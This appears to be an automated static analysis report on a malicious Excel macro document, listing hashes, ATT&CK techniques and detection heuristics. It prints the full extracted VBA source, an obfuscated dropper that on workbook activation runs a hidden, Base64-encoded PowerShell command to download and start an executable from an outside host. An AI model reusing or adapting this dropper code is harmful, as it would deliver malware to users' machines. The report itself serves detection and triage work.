Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e77843906f7f67da…

MALICIOUS

Office (OOXML)

43.1 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-16
MD5: 1297c597852f57a24c6085f8ff5fee06 SHA-1: b845b6e3f251bf70cbbcd81267cec9573fcae618 SHA-256: e77843906f7f67dad00a9daf04380c9a7f65a46b32c768c9da50c200535740e5
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel document containing VBA macros that are obfuscated using string concatenation. The macro attempts to execute a PowerShell command to download and execute a second-stage payload from the URL http://wis-motors.com/aqmz.exe, saving it as Xmlhfenneqyjwfbil.bat. The document body contains a lure to enable content, and the presence of Shell() calls and split keyword obfuscation in the VBA code strongly indicate malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: http://go.microsoft.com/fwlink/?LinkId=846285
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://go.microsoft.com/fwlink/?LinkId=846285 Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2864 bytes
SHA-256: a72466e8a22c7e85ee439c1825cd6c100886415029baf91bebeeaf83466c4234
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
s = s + " -win 1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjAE"
s = s + "4AYQBtAGUAIAA9"
s = s + "ACAAIgBDAHMAdQ"
s = s + "BpAG4AeABhAG0A"
s = s + "eABvAHcAZAB6AG"
s = s + "cAaQBjAHEAagBh"
s = s + "AC4AZQB4AGUAIg"
s = s + "A7ACgATgBlAHcA"
s = s + "LQBPAGIAagBlAG"
s = s + "MAdAAgAFMAeQBz"
s = s + "AHQAZQBtAC4ATg"
s = s + "BlAHQALgBXAGUA"
s = s + "YgBDAGwAaQBlAG"
s = s + "4AdAApAC4ARABv"
s = s + "AHcAbgBsAG8AYQ"
s = s + "BkAEYAaQBsAGUA"
s = s + "KAAiAGgAdAB0AH"
s = s + "AAcwA6AC8ALwB3"
s = s + "AGkAcwBlAC0AbQ"
s = s + "BvAHQAbwByAHMA"
s = s + "LgBjAG8AbQAvAG"
s = s + "EAbQB6AC4AZQB4"
s = s + "AGUAIgAsACIAJA"
s = s + "BlAG4AdgA6AEEA"
s = s + "UABQAEQAQQBUAE"
s = s + "EAXAAkAFAAcgBv"
s = s + "AGMATgBhAG0AZQ"
s = s + "AiACkAOwBTAHQA"
s = s + "YQByAHQALQBQAH"
s = s + "IAbwBjAGUAcwBz"
s = s + "ACAAKAAiACQAZQ"
s = s + "BuAHYAOgBBAFAA"
s = s + "UABEAEEAVABBAF"
s = s + "wAJABQAHIAbwBj"
s = s + "AE4AYQBtAGUAIg"
s = s + "ApAA=="


ActiveWorkbook.Save
batch = "Xmlhfenneqyjwfbil.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Learn more"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6656 bytes
SHA-256: 69dfff9456300f55af492d4241ec4afaf70147883294de901d034feda1712d0d

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